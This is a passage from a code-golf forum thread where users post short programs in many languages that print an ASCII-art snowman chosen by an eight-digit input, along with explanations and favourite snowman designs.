*/\n         );\n}\n```\n[Answer]\n# C, 212 bytes\n```\nd;main(){char*t=\"##3#b#b3#bbb3#b#b##\\r#3b1#+3@12b3@1b-3@1_b3b1#,#\\r7#_##+51rR04/1b#61rR0,8#2##\\r7?#2#+9#`A#9=###9#^?#,8A#_#\\r#+:#%b#:=#b#:#%b#,#\",p[9];for(gets(p);d=*t++;putchar(d-3))d=d<51?d:(p[d-51]-53)[t+=4];}\n```\nA readable version:\n```\nd;\nmain()\n{\n    char *t = \"##3#b#b3#bbb3#b#b##\\r\"\n              \"#3b1#+3@12b3@1b-3@1_b3b1#,#\\r\"\n              \"7#_##+51rR04/1b#61rR0,8#2##\\r\"\n              \"7?#2#+9#`A#9=###9#^?#,8A#_#\\r\"\n              \"#+:#%b#:=#b#:#%b#,#\",\n        p[9]; // 9 bytes is just enough for the input string of length 8\n    for (gets(p); d = *t++; putchar(d-3))\n        d = d < 51 ? d : (p[d - 51] - 53)[t += 4];\n}\n```\nI took the idea from [the answer by Reto Koradi](https://codegolf.stackexchange.com/a/49914/25315). There were several fun improvements I did, which may warrant posting a separate answer:\n* Converted from function to program (+10)\n* Moved newlines into the control string (-7)\n* Added 3 to all character codes to have fewer escaped chars like `\\\"` (-3)\n* Reading from the string with autoincrement; also replaced `t[i++]` by `*t++` (-4)\n* Replaced `while` by `for`; removed `{}` (-4)\n* Simplified loop termination: reading until `\\0` (-9)\n* [Transformed `t[...],t+=4` to `(...)[t+=4]`](https://stackoverflow.com/questions/381542/with-c-arrays-why-is-it-the-case-that-a5-5a) to eliminate the comma operator (-1)\nWhy all that trouble? To share my favorite one, snow ghost:\n```\n   _\n  /_\\\n\\(. .)/\n (   )\n (___)\n```\n[Answer]\n# JavaScript, 489 (without newlines and tabs)\n```\nx=' ';\nd=\"   \";\nh=['\\n_===_',' ___ \\n.....','  _  \\n /_\\\\ ',' ___ \\n(_*-)'];\nn=[',','.','_',x];\ne=['.','o','O','-'];\ny=['>',,'\\\\',x];\nu=['<',,'/',x];\nt=[' : ','[ ]','> <',d;\nb=[' : ','\" \"',\"___\",d];\nj=process.argv[2].split('').map(function(k){return parseInt(k)-1});\nq=j[4]==1;\nw=j[5]==1;\nconsole.log([\n    h[j[0]].replace(/(.*)\\n(.*)/g, \" $1\\n $2\"),\n    (q?'\\\\':x)+'('+e[j[2]]+n[j[1]]+e[j[3]]+')'+(w?'/':x),\n    (!q?u[j[4]]:x)+'('+t[j[6]]+')'+(!w?y[j[5]]:x),\n    x+'('+b[j[7]]+')'].join('\\n'));\n```\nrun with `node snowman.js 33232124`\n[Answer]\n# Pyth, 203 bytes\n```\nM@GCHgc\"  ___\n  ___\n   _\"bhzgc\" (_*_)\n _===_\n .....\n  /_\\\\\"bhzs[g\"  \\ \"@z4\\(g\"-.oO\"@z2g\" ,._\"@z1g\"-.oO\"@z3\\)g\"  / \"@z5)s[g\" < /\"@z4\\(gc\"   \n : \n] [\n> <\"b@z6\\)g\" > \\\\\"@z5)++\" (\"gc\"   \n : \n\\\" \\\"\n___\"bez\\)\n```\nLol. Try it online: [Pyth Compiler/Executor](https://pyth.herokuapp.com/?code=M%40GCHgc%22%20%20___%0A%0A%20%20___%0A%20%20%20_%22bhzgc%22%20(_*_)%0A%20_%3D%3D%3D_%0A%20.....%0A%20%20%2F_%5C%5C%22bhzs%5Bg%22%20%20%5C%20%22%40z4%5C(g%22-.oO%22%40z2g%22%20%2C._%22%40z1g%22-.oO%22%40z3%5C)g%22%20%20%2F%20%22%40z5)s%5Bg%22%20%3C%20%2F%22%40z4%5C(gc%22%20%20%20%0A%20%3A%20%0A%5D%20%5B%0A%3E%20%3C%22b%40z6%5C)g%22%20%3E%20%5C%5C%22%40z5)%2B%2B%22%20(%22gc%22%20%20%20%0A%20%3A%20%0A%5C%22%20%5C%22%0A___%22bez%5C)&input=33232124&debug=0)\n### Explanation\nFirst I define a helper function `g`, which takes a list and a char as input, converts the char into its ASCII-value and takes correspondent element (modular wrapping). \n```\nM@GCH  def g(G,H): return G[ord(H)]\n```\nThe other things is just printing line by line. For instance the first line is:\n```\n c\"  ___\\n\\n  ___\\n   _\"b     split the string \"  ___\\n\\n  ___\\n   _\" at \"\\n\"\n                         hz   first char in input\ng                             apply g and print\n```\nBtw. I experimented a little bit with `.F\"{:^7}\"`, which centers a string. Using it, I could save a few spaces in my code, but it doesn't save any bytes at the end. \n[Answer]\n# Haskell, ~~361~~ ~~306~~ 289 bytes\n```\no l a b=take a$drop((b-1)*a)l\nn=\"\\n\"\np i=id=<<[\"  \",o\"    \\n _===____ \\n ..... _  \\n  /_\\\\ ___ \\n (_*_)\"11a,n,o\" \\\\  \"1e,o\"(.(o(O(-\"2c,o\",._ \"1 b,o\".)o)O)-)\"2d,o\" /  \"1f,n,o\"< / \"1e,o\"( : )(] [)(> <)(   )\"5g,o\"> \\\\ \"1f,n,\" (\",o\" : )\\\" \\\")___)   )\"4h]where[a,b,c,d,e,f,g,h]=map(read.(:[]))i\n```\nUsage:\n```\nputStrLn $ p \"12333321\"\n _===_\n (O.O) \n/(] [)\\\n ( : )\n```\nHow it works: index every element of the list of `[hat options, left upper arm options, left eye options, ..., base options]` with the corresponding input number and concatenate it into a single list. I've split the left and right arm into an upper and lower part, so that I can build the snowman line by line.\nMy favorite is the classic `11112211`.\nEdit: switched from list of strings to strings for the parts (hat, eye, ...). Needs a second parameter, the length of the substring to take.\nEdit II: extracted common substrings\n[Answer]\n# R, ~~436~~ 437 bytes\nHere's my first try on [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\"), using R which isn't the shortest but still fun. At least I'm beating JavaScript (for now)...\n```\nH=c(\"_===_\",\" ___\\n .....\",\"  _\\n  /_\\\\\",\" ___\\n (_*_)\")\nN=c(\",\",\".\",\"_\",\" \")\nL=c(\".\",\"o\",\"O\",\"-\")\nX=c(\" \",\"\\\\\",\" \",\" \")\nS=c(\"<\",\" \",\"/\",\" \")\nY=c(\" \",\"/\",\" \",\"\")\nU=c(\">\",\" \",\"\\\\\",\"\")\nT=c(\" : \",\"] [\",\"> <\",\"   \")\nB=c(\" : \",\"\\\" \\\"\",\"___\",\"   \")\nf=function(x){i=as.integer(strsplit(x,\"\")[[1]]);cat(\" \",H[i[1]],\"\\n\",X[i[5]],\"(\",L[i[3]],N[i[2]],L[i[4]],\")\",Y[i[6]],\"\\n\",S[i[5]],\"(\",T[i[7]],\")\",U[i[6]],\"\\n\",\" (\",B[i[8]], \")\",sep=\"\")}\n```\nTesting:\n```\n> f(\"12344321\")\n _===_\n (O.-) \n (] [)\\\n ( : )\n```\nI actually struggled with `X` and `Y` being multilined but with stuff in between, ended up separating each line in (`X`, `S`) and (`Y`, `U`).\n`function` and conversion from string to integer are also very verbose.\n**Edit 436 => 437**\nHad to fix a missing empty space noticed by @OganM\nI could reduce to 428 replacing the line breaks between variables with `;`, but the \"one-lined\" code looks so bad and unreadable I won't be that greedy.\n[Answer]\n# [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 199 bytes\nInspired by [Reto Koradi](https://codegolf.stackexchange.com/a/49914/80745) and [anatolyg](https://codegolf.stackexchange.com/a/49941/80745).\n```\nfor($t='  0 _ _0 ___0 _ _\n 0_. (0=./_0=._*0=.\\_0_. )\n4 \\  (2.oO-1,._ 3.oO-)5 /  \n4< / (6 ]> 6:   6 [< )5> \\ \n (7 \"_ 7: _ 7 \"_ )';$d=$t[$i++];$r+=\"$d\"){if($d-ge48){$d=$t[$i+\"$args\"[\"$d\"]-49]\n$i+=4}}$r\n```\n[Try it online!](https://tio.run/##RZBbboMwFET/vYqRaxVTCuHhkJbE2UIXQJCFxKNItESGtIoQa6cmQen5GM9cj2XZ5@631P1n2bYzqyAxzlWnORukBfhQUEaUujkCX3ngvvQ2yoh6MXJSy8wmAieAh1734QavnkK0OHuLDUDEwSw8RnZEnACIkR5gb4/mCAHfgSrsEnPBzdnWnhWSDSlrHCfbM@1Iygpqj03FWeHWpXizx0eDslzXPU2XSuaK94yYoRTTxPQ8kWfzIiswCBEE1j1GURiFQSis/92FNYYrj/KdNYoV8zVP@Lqiyn863QxlAtq3ZXm@Ql/6vsm/UV9yXdD5Dw \"PowerShell – Try It Online\")\nNote: The line 3 has 2 trail spaces, line 4 has a trail space.\nMy favorite is `44444444` \"sleepy russian guard\":\n```\n ___\n(_*_)\n(- -)\n(   )\n(   )\n```\n[Answer]\n# CJam, ~~200~~ 191 bytes\nThis can surely be golfed a lot. (Specially if I base encode it). But here goes for starters:\n```\n7S*\"_===_  ___  .....   _    /_\\   ___  (_*_)\"+6/2/Nf*\",._ \"1/\".oO-\"1/_\" <\\  /   >/  \\  \"2/4/~\" : ] [> <    : \\\" \\\"___   \"3/4/~]l~Ab:(]z::=:L0=N4{L=}:K~0='(2K1K3K')5K0=N4K1='(6K')5K1=NS'(7K')\n```\nInput goes into STDIN. For example, input `23232223` gives:\n```\n  ___ \n .....\n\\(o_O)/\n (] [) \n (___)\n```\n[Try it online here](http://cjam.aditsu.net/#code=7S*%22_%3D%3D%3D_%20%20___%20%20.....%20%20%20_%20%20%20%20%2F_%5C%20%20%20___%20%20(_*_)%22%2B6%2F2%2FNf*%22%2C._%20%221%2F%22.oO-%221%2F_%22%20%3C%5C%20%20%2F%20%20%20%3E%2F%20%20%5C%20%20%222%2F4%2F~%22%20%3A%20%5D%20%5B%3E%20%3C%20%20%20%20%3A%20%5C%22%20%5C%22___%20%20%20%223%2F4%2F~%5Dl~Ab%3A(%5Dz%3A%3A%3D%3AL0%3DN4%7BL%3D%7D%3AK~0%3D'(2K1K3K')5K0%3DN4K1%3D'(6K')5K1%3DNS'(7K')&input=33232124)\n[Answer]\n## C, ~~233~~ 230 bytes\n```\nchar*t=\"  0 _ _0 ___0 _ _   0_. (0=./_0=._*0=.\\\\_0_. ) 4 \\\\  (2.oO-1,._ 3.oO-)5 /  4< / (6 ]> 6:   6 [< )5> \\\\  (7 \\\"_ 7: _ 7 \\\"_ ) \";i,r,d;f(char*p){while(r++<35){d=t[i]-48;putchar(t[d<0?i:i+p[d]-48]);i+=d<0?1:5;r%7?0:puts(\"\");}}\n```\nWith newlines and whitespace for better readability:\n```\nchar* t = \"  0 _ _0 ___0 _ _   0_. (0=./_0=._*0=.\\\\_0_. ) 4 \\\\  (2.oO-1,._ 3.oO-)5 /  4< / (6 ]> 6:   6 [< )5> \\\\  (7 \\\"_ 7: _ 7 \\\"_ ) \";\ni, r, d;\nf(char* p)\n{\n    while (r++ < 35)\n    {\n        d = t[i] - 48;\n        putchar(t[d < 0 ? i : i + p[d] - 48]);\n        i += d < 0 ? 1 : 5;\n        r % 7 ? 0 : puts(\"\");\n    }\n}\n```\nThe whole thing is fairly brute force. It uses a table that contains one entry for each of the 35 (5 lines with length 7) characters. Each entry in the table is either:\n* A constant character: , `(`, `)`. Length of table entry is 1 character.\n* Index of body part, followed by the 4 possible characters depending on the part selection in the input. Length of table entry is 5 characters.\nThe code then loops over the 35 characters, and looks up the value in the table.\n[Answer]\n# Python 3, ~~349~~ ~~336~~ ~~254~~ 251 bytes\nSo much for doing my thesis.\nHere's the content of the file *snowman.py*:\n```\nl='_===_| ___\\n .....|  _\\n  /_\\| ___\\n (_*_)| : |] [|> <|   |>| |\\| | : |\" \"|___|   '.split('|')\nl[4:4]=' \\  .oO-,._ .oO- /  < / '\ndef s(a):print(' {}\\n{}({}{}{}){}\\n{}({}){}\\n ({})'.format(*[l[4*m+int(a[int('0421354657'[m])])-1]for m in range(10)]))\n```\nAnd this is how I conjure my favourite snowman:\n```\ns('11112311')\n _===_ \n\\(.,.) \n ( : )\\\n ( : ) \n```\n## Explanation\n```\n# Create a list containing the 4 * 10 body parts of the snowman in order of drawing:\n#   hats,\n#   upper left arms, left eyes, noses, right eyes, upper right arms,\n#   lower left arms, torso's, lower right arms,\n#   bases\nl='_===_| ___\\n .....|  _\\n  /_\\| ___\\n (_*_)| : |] [|> <|   |>| |\\| | : |\" \"|___|   '.split('|')\nl[4:4]=' \\  .oO-,._ .oO- /  < / '\n# This is the function that draws the snowman\n# All the lines of this function are golfed in a single statement, but seperated here for clearity\ndef s(a):\n    # In this list comprehension I put the elements of l that are chosen according to the parameters\n    list_comprehension = []\n    # m is the number of the body part to draw\n    for m in range(10):\n        # Get the index for the choice of the m-th bodypart\n        # (example: the 2nd bodypart (m = 1: the upper left arm) is in the 4th place of the arguments list)\n        choice_index = int('0421354657'[m])\n        # n is the parameter of the current bodypart\n        n = int(a[choice_index]) - 1\n        # Add the body part from list l to the list comprehenseion\n        list_comprehension.append( l[4 * m + n] )\n    # Print the list comprehension with the static parts\n    print(' {}\\n{}({}{}{}){}\\n{}({}){}\\n ({})'.format(*list_comprehension))\n```\n[Answer]\n# R 414 Bytes\nSlightly modified version of Molx's version\n```\nW =c(\"_===_\",\" ___\\n .....\",\"  _\\n  /_\\\\\",\" ___\\n (_*_)\",\",\",\".\",\"_\",\" \",\".\",\"o\",\"O\",\"-\",\" \",\"\\\\\",\" \",\" \",\"<\",\" \",\"/\",\" \",\" \",\"/\",\" \",\"\",\">\",\" \",\"\\\\\",\"\",\" : \",\"] [\",\"> <\",\"   \",\" : \",\"\\\" \\\"\",\"___\",\"   \")\nf=function(x){i=as.integer(strsplit(x,\"\")[[1]]);cat(\" \",W[i[1]],\"\\n\",W[i[5]+12],\"(\",W[i[3]+8],W[i[2]+4],W[i[4]+8],\")\",W[i[6]+20],\"\\n\",W[i[5]+16],\"(\",W[i[7]+28],\")\",W[i[6]+24],\"\\n\",\" (\",W[i[8]+32], \")\",sep=\"\")}\n```\nJust merged the seperate variables into one. Shawing of some space that was used for `X=c(` routine.\n[Answer]\n# Haskell, 333 bytes\nMy first submission! Builds the snowman from top to bottom, left to right. I split the arms into two functions for each arm, the part next to head and the part next to the body.\nThe function s takes a list of integers and concatenates the output of the functions which produce the body parts given correct sublists of the input.\n```\na=y[\"\\n _===_\\n\",\"  ___ \\n .....\\n\",\"   _  \\n  /_\\\\ \\n\",\"  ___ \\n (_*_)\\n\"]\nd=y\",._ \"\nc=y\".oO-\"\ne=y\"< / \"\nj=y\" \\\\  \"\nf=y\"> \\\\ \"\nk=y\" /  \"\ny w n=w!!(n-1)\nh=y[\" : \",\"] [\",\"> <\",\"   \"]\nb=y[\" ( : ) \\n\",\" (\\\" \\\") \\n\",\" (___) \\n\",\" (   ) \\n\"]\ns(m:x:o:p:n:q:t:l:_)=putStr$a m++j x:'(':c o:d n:c p:')':k q:'\\n':e x:'(':h t++')':f q:'\\n':b l\n```\nIt relies on the function\n```\ny :: [a] -> Int -> a\ny w n=w!!(n-1)\n```\nwhich returns the nth element of the list it is given. This allows for the list of hats in a, as well as things like\n```\nk=y\" /  \"\n```\nall of these functions use a beta reduction so their argument is passed as the index to the y function.\nOutput:\n```\nλ> s $ repeat 1\n _===_\n (.,.) \n<( : )>\n ( : ) \nλ> s $ repeat 2\n  ___ \n .....\n\\(o.o)/\n (] [) \n (\" \") \nλ> s $ repeat 3\n   _  \n  /_\\ \n (O_O) \n/(> <)\\\n (___) \nλ> s $ repeat 4\n  ___ \n (_*_)\n (- -) \n (   ) \n (   ) \n```\n[Answer]\n# JavaScript (ES6), 247\nNot as good ad @NinjaBearMonkey's :(\nTest in snippet (with Firefox)\n```\nS=p=>([h,n,c,d,l,r,t,b,e,x]=[...p,' .oO-',`1_===_1 ___\n .....1  _\n  /_\\\\1 ___\n (_*_)1 : 1] [1> <1   1 : 1\" \"1___1   `.split(1)],` ${x[h]}\n${'  \\\\  '[l]}(${e[c]+' ,._ '[n]+e[d]})${'  /  '[r]}\n${' < / '[l]}(${x[3-~t]})${' > \\\\ '[r]}\n (${x[7-~b]})`)\n// TEST // \nfunction go()\n{\n  var n=N.value\n  if (/^[1-8]{8}$/.test(n)) {\n    s=S(n)\n    OUT.innerHTML = s+'\\n'+n+'\\n\\n'+ OUT.innerHTML\n  }\n  else N.focus()\n}\n  \n```\n```\n\n
\n```\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~137~~ ~~135~~ ~~128~~ ~~122~~ 121 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage)\n```\n…( )7ÝJ»•αγʒδÓ₂©8¥ŽQxΣxêÿ•sÅвJIvN”\\n._-=:\" Oo,**,oO \":=-_.\"\n  •DùÙÂ+;Èγтáì³ÓW©ÎÂ_`ƒ≠îj*ΓçÊ~ÞÒ¸β¦oåb/õ47/vÎΓ”›≠øØZµλݺ•\n             # Push compressed integer 492049509496347122906361438631265789982480759119518961177677313610613993948059787418619722816092858096158180892708001681647316210\n   20в       # Convert it to Base-20 as list: [15,10,10,10,15,3,10,19,10,4,15,15,15,15,15,10,12,12,12,10,15,10,10,10,15,9,9,9,9,9,15,15,10,15,15,15,1,10,6,15,8,15,18,9,10,8,11,9,17,16,8,11,9,17,16,8,15,15,15,0,6,15,15,1,8,15,15,15,7,1,15,15,6,8,15,15,15,15,13,15,5,15,2,7,15,0,8,15,15,15,15,13,15,14,15,14,10,10,10]\n      è      # Index each into the string: [\" \",\"_\",\"_\",\"_\",\" \",\"(\",\"_\",\"*\",\"_\",\")\",\" \",\" \",\" \",\" \",\" \",\"_\",\"=\",\"=\",\"=\",\"_\",\" \",\"_\",\"_\",\"_\",\" \",\".\",\".\",\".\",\".\",\".\",\" \",\" \",\"_\",\" \",\" \",\" \",\"/\",\"_\",\"\\\",\" \",\"\\n\",\" \",\",\",\".\",\"_\",\"\\n\",\"-\",\".\",\"o\",\"O\",\"\\n\",\"-\",\".\",\"o\",\"O\",\"\\n\",\" \",\" \",\" \",\"<\",\"\\\",\" \",\" \",\"/\",\"\\n\",\" \",\" \",\" \",\">\",\"/\",\" \",\" \",\"\\\",\"\\n\",\" \",\" \",\" \",\" \",\":\",\" \",\"]\",\" \",\"[\",\">\",\" \",\"<\",\"\\n\",\" \",\" \",\" \",\" \",\":\",\" \",\"\"\",\" \",\"\"\",\"_\",\"_\",\"_\"]\n       ¶¡    # Split it by the newline character: [[\" \",\"_\",\"_\",\"_\",\" \",\"(\",\"_\",\"*\",\"_\",\")\",\" \",\" \",\" \",\" \",\" \",\"_\",\"=\",\"=\",\"=\",\"_\",\" \",\"_\",\"_\",\"_\",\" \",\".\",\".\",\".\",\".\",\".\",\" \",\" \",\"_\",\" \",\" \",\" \",\"/\",\"_\",\"\\\",\" \"],[\" \",\",\",\".\",\"_\"],[\"-\",\".\",\"o\",\"O\"],[\"-\",\".\",\"o\",\"O\"],[\" \",\" \",\" \",\"<\",\"\\\",\" \",\" \",\"/\"],[\" \",\" \",\" \",\">\",\"/\",\" \",\" \",\"\\\"],[\" \",\" \",\" \",\" \",\":\",\" \",\"]\",\" \",\"[\",\">\",\" \",\"<\"],[\" \",\" \",\" \",\" \",\":\",\" \",\"\"\",\" \",\"\"\",\"_\",\"_\",\"_\"]]\n```\nUse the loop index `N` to get the character-list of the part we are currently working with:\n```\n  Nè         # Index the loop index into it\n             #  i.e. 6 → [\" \",\" \",\" \",\" \",\":\",\" \",\"]\",\" \",\"[\",\">\",\" \",\"<\"]\n```\nThen split the character list into four equal part, and use the input-digit `y` (which is 1-indexed) to index into it. (NOTE: Since 05AB1E is 0-indexed, but the input is 1-indexed, it would be logical to decrease the digit by 1 before indexing. However, since 05AB1E has automatic wraparound (i.e. indexing `3` in list `[1,3,5]` will result in `1`), I simply rotated the parts once so parts with nr 4 in the challenge description, are at the front of the lists.)\n```\n    4ä       # Split it into 4 equal parts\n             #  i.e. [[\" \",\" \",\" \"],[\" \",\":\",\" \"],[\"]\",\" \",\"[\"],[\">\",\" \",\"<\"]]\n      yè     # Index the input-digit `y` into it (with automatic wraparound)\n             #  i.e. 4 → [\" \",\" \",\" \"]\n```\nAnd then replace the 0-indexed index of the loop we pushed at first, one by one with the part-characters:\n```\n  .;         # Replace first; every index of the loop `N` in the template-string\n             # is replaced one by one with the characters\n```\nAnd in the end the result is output implicitly.\n[See this 05AB1E tip of mine (section *How to compress large integers?* and *How to compress integer lists?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand how the compression parts work.\n---\nAs for my favorite, it's still [the same 'snow rabbit' as 1.5 year ago when I posted my Java solution](https://codegolf.stackexchange.com/a/125628/52210):\n```\n44114432:\n   _  \n (_*_)\n (. .) \n (> <) \n (\" \")\n```\n[Answer]\n# Java 8, ~~548~~ ~~545~~ ~~432~~ ~~401~~ ~~399~~ 397 bytes\n```\na->{int q=50,H=a[0]-49,N=a[1],L=a[2],R=a[3],X=a[4],Y=a[5];return\"\".format(\" %s%n %s%n%c(%c%c%c)%c%n%c(%s)%c%n (%s)\",H<1?\"\":H%2<1?\" ___\":\"  _\",\"_===_s.....s /_\\\\s(_*_)\".split(\"s\")[H],X==q?92:32,L <\".split(\"s\")[a[6]%4],92-(Y%3+Y%6/4)*30,\"   s : s\\\" \\\"s___\".split(\"s\")[a[7]%4]);}\n```\n-2 bytes thanks to *@ceilingcat*.\n[Try it here.](https://tio.run/##dVNNb@IwEL33V4wsRUrApPgjIAIpWu2FA5sDvYAgirxpupsuBIhNparit7PjkN0WRF8kz9jzZvzisV/Uq@psd3n58vTnlK2V1vBDFeX7HUBRmrx6VlkOsZ0CPJqqKH9B5ma/VbVMQHlDXD/e4aCNMkUGMZQQwUl1Ht4xG/ZR0KWTSC27SUcOaIweS@gUDU/oDI1I6ByNTOgCTZAMq9wcqpIQ/3lbbZRxCTjaKevByVwns5@HQz3TtQfWIXQyYmNCwonDrQNpmpKQAKSEkjSKolT7Fhru09VKu2kr9Yivd@sC99DEW06skmg/HvBQcDod7ceyF05HARszxqzDx/1BKAMa25AMYxtCSmwjg8Amzc5Js39Js4@khS0t@5Y1R1avi1577vAWCyiKBA0h6ASW@gFGF7LUspc4eDwD3nEXjmgvnN699Fqi@5G2IrAi2v7vZWLfJnrD42loG7Q7/Fxjg5o@vW6LJ9hgn91zT@tmnptsco0lmOAC/4GTusX/VxFSMna5KpDLGZdXXG5xXUHyW1zBpRSIK24NcV1BWg3ihjKLy1Xe4FrvGbd2k42yz5e6Pqya1DwA3RzV45s2@cbfHoy/w4BZl65u461r6t4Il37mat9sv@MD@lZV6s31vK/ZjZLj6S8)\n**Explanation:**\n```\na->{             // Method with character-array parameter and String return-type\n  int q=50,      //  Temp integer with value 50 to reduce the byte-count\n      H=a[0]-49, //  The hat-character as unicode value minus 49: 1=0; 2=1; 3=2; 4=3\n      N=a[1],L=a[2],R=a[3],X=a[4],Y=a[5];\n                 //  Most of the other characters as unicode values: 1=49; 2=50; 3=51; 4=52\n  return\"\".format(\" %s%n %s%n%c(%c%c%c)%c%n%c(%s)%c%n (%s)\",\n                                               // Return the snowman with:\n    H<1?\"\":H%2<1?\" ___\":\"  _\",                 //  The top of the hat\n    \"_===_s.....s /_\\\\s(_*_)\".split(\"s\")[H],   //  + the bottom of the hat\n    X==q?92:32,                                //  + the top of the left arm\n    L <\".split(\"s\")[a[6]%4],      //  + the torso\n    92-(Y%3+Y%6/4)*30,                         //  + the bottom of the right arm\n    \"   s : s\\\" \\\"s___\".split(\"s\")[a[7]%4]);}  //  + the feet\n```\n**My favorite:**\n```\n44114432:\n   _  \n (_*_)\n (. .) \n (> <) \n (\" \")\n```\nI don't know why, but it looks kinda cute. Like a bunny with a Russian hat instead of ears.\n[Answer]\n# C# 9.0 (.NET 4.8) - ~~1813 1803 1821 1815~~ 1812+30=~~1843 1833 1851 1845~~ 1842 bytes\nA Windows Forms application; likely can be improved on in terms of size. Contains a massive one-liner. The extra 30 bytes is from adding `9.0` to the project file.\n```\nusing System;using System.Windows.Forms;class P:Form{string[]h={$@\"     \n_===_\",$@\"___\n.....\",$@\"_\n/_\\\",$@\"___\n(_*_)\"},s={\" : \",\"] [\",\"> <\",\"   \"},z={\" : \",\"\\\" \\\"\",\"___\",\"   \"};string n=\",._ \",e=\".oO-\",x=\"< / \",y=\"> \\\\ \";TextBox t;Button b,d;Label l;[STAThread]static void Main(){Application.EnableVisualStyles();Application.SetCompatibleTextRenderingDefault(false);Application.Run(new P());}P(){t=new();b=new();d=new();l=new();SuspendLayout();t.Location=new(0,0);t.MaxLength=8;t.Size=new(269,23);t.TabIndex=0;b.Location=new(-1,22);b.Size=new(200,25);b.TabIndex=1;b.Text=\"Build the snowman!\";b.UseVisualStyleBackColor=true;b.Click+=m;d.Location=new(198,22);d.Size=new(72,25);d.TabIndex=2;d.Text=\"Random\";d.UseVisualStyleBackColor=true;d.Click+=(_,_)=>{int a=0;Random r=new();for(int i=0;i<8;i++)a+=r.Next(1,5)*(int)Math.Pow(10,i);m(a.ToString(),null);};l.AutoSize=false;l.Font=new(\"Consolas\",9);l.Location=new(0,41);l.Size=new(269,73);l.TextAlign=System.Drawing.ContentAlignment.MiddleCenter;Font=new(\"Segoe UI\",9);ClientSize=new(269,114);Controls.Add(l);Controls.Add(t);Controls.Add(b);Controls.Add(d);MaximizeBox=false;FormBorderStyle=FormBorderStyle.FixedSingle;Text=\"Snowman Maker\";l.SendToBack();t.BringToFront();ResumeLayout(true);}void m(object q,EventArgs k){t.Enabled=false;b.Enabled=false;d.Enabled=false;if(q is string j)t.Text=j;if(t.Text.Length!=8||!int.TryParse(t.Text,out _))MessageBox.Show(\"Invalid input format.\");else{int[]a=new int[8];for(int i=0;i<8;i++){a[i]=t.Text[i]-'0'-1;if(a[i]>3){MessageBox.Show(\"Invalid input format.\");t.Enabled=true;b.Enabled=true;d.Enabled=true;return;}}l.Text=$@\"{h[a[0]]}\n{(a[4]==1?'\\\\':' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){(a[5]==1?'/':' ')}\n{x[a[4]]}({s[a[6]]}){y[a[5]]}\n({z[a[7]]})\";}t.Enabled=true;b.Enabled=true;d.Enabled=true;}}\n```\nA more readable version, with comments (though with the same confusing variable naming):\n```\nusing System;\nusing System.Windows.Forms;\nclass Program : Form\n{\n    string[] h = {$@\"     \n_===_\",$@\"___\n.....\",$@\"_\n/_\\\",$@\"___\n(_*_)\"}, // Hats\n    s = {\" : \",\"] [\",\"> <\",\"   \"}, // Torso\n    z = {\" : \",\"\\\" \\\"\",\"___\",\"   \"}; // Base\n    string n = \",._ \", e = \".oO-\", x = \"< / \", y = \"> \\\\ \"; // Nose, eyes, left arm, right arm\n    //Controls\n    TextBox t;\n    Button b, d;\n    Label l;\n    [STAThread]\n    static void Main()\n    {\n        Application.EnableVisualStyles();\n        Application.Run(new Program()); // I put all the control code in Program; please don't do this in normal code\n    }\n    Program()\n    {\n        // Initialize everything\n        t = new(); // Taking advantage of the short contructors in C# 9.0\n        b = new();\n        d = new();\n        l = new();\n        SuspendLayout();\n        // TextBox properties\n        t.Location = new(0, 0);\n        t.MaxLength = 8;\n        t.Size = new(269, 23);\n        t.TabIndex = 0;\n        // 'Build the snowman' button properties\n        b.Location = new(-1, 22);\n        b.Size = new(200, 25);\n        b.TabIndex = 1;\n        b.Text = \"Build the snowman!\";\n        b.UseVisualStyleBackColor = true;\n        b.Click += m;\n        // 'Random' button properties\n        d.Location = new(198,22);\n        d.Size = new(72,25);\n        d.TabIndex = 2;\n        d.Text = \"Random\";\n        d.UseVisualStyleBackColor = true;\n        d.Click += (_,_) =>\n        {\n            int a = 0;\n            Random r = new();\n            for(int i = 0; i < 8; i++)\n                a += r.Next(1,5) * (int)Math.Pow(10,i); // Math.Pow returns a number that satisfies 1 <= n < 5, not 1 <= n <= 5\n            m(a.ToString(), null); // Since I don't need the \"sender\" field, I use it to send the random input. Please don't do this in a normal program.\n        };\n        // Label properties\n        l.AutoSize = false;\n        l.Font = new(\"Consolas\", 9);\n        l.Location = new(0, 41);\n        l.Size = new(269, 73);\n        l.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // This lets us omit some spaces, while making the form look nicer as well\n        // Form properties\n        Font = new(\"Segoe UI\", 9);\n        ClientSize = new(269, 114);\n        Controls.Add(l);\n        Controls.Add(t);\n        Controls.Add(b);\n        Controls.Add(d);\n        MaximizeBox = false;\n        FormBorderStyle=FormBorderStyle.FixedSingle;\n        Text=\"Snowman Maker\";\n        l.SendToBack();\n        t.BringToFront();\n        ResumeLayout(true);\n    }\n    // Event handler for the 'Build the snowman' button\n    void m(object sender, EventArgs k)\n    {\n        // Disable all the inputs, in case the user tries to mess with the data while the function is running.\n        // This is probably unneeded since modern computers run so quickly, but I kept it anyway.\n        t.Enabled = false;\n        b.Enabled = false;\n        d.Enabled = false;\n        if(sender is string j) // Accept input from 'Random' button\n            t.Text=j;\n        if(t.Text.Length != 8|| !int.TryParse(t.Text, out _)) // Discard the out parameter since we don't need it\n            MessageBox.Show(\"Invalid input format.\");\n        else\n        {\n            int[] a = new int[8];\n            // Read from the TextBox.\n            for (int i = 0; i < 8; i++)\n            {\n                a[i] = t.Text[i] - '0' - 1;\n                if(a[i] > 3)\n                {\n                    MessageBox.Show(\"Invalid input format.\");\n                    // Re-enable the inputs and cancel the operation.\n                    t.Enabled = true;\n                    b.Enabled = true;\n                    d.Enabled = true;\n                    return;\n                }\n            }\n            // Set the label text; uses an interpolated multiline string ($ makes it interpolated, @ makes it accept newlines and automatically escape characters (excluding \" ))\n            l.Text=$@\"{h[a[0]]}\n{((a[4] == 1) ? '\\\\' : ' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){((a[5] == 1) ? '/' : ' ')}\n{x[a[4]]}({s[a[6]]}){y[a[5]]}\n({z[a[7]]})\";\n        }\n        t.Enabled = true;\n        b.Enabled = true;\n        d.Enabled = true;\n    }\n}\n```\nThe compact version was so painful to edit (I absolutely hate scrolling left and right) that I split it into a lot of lines and removed the unnecessary newlines after I was done with it:\n```\nusing System;using System.Windows.Forms;class P:Form{string[]h={$@\"     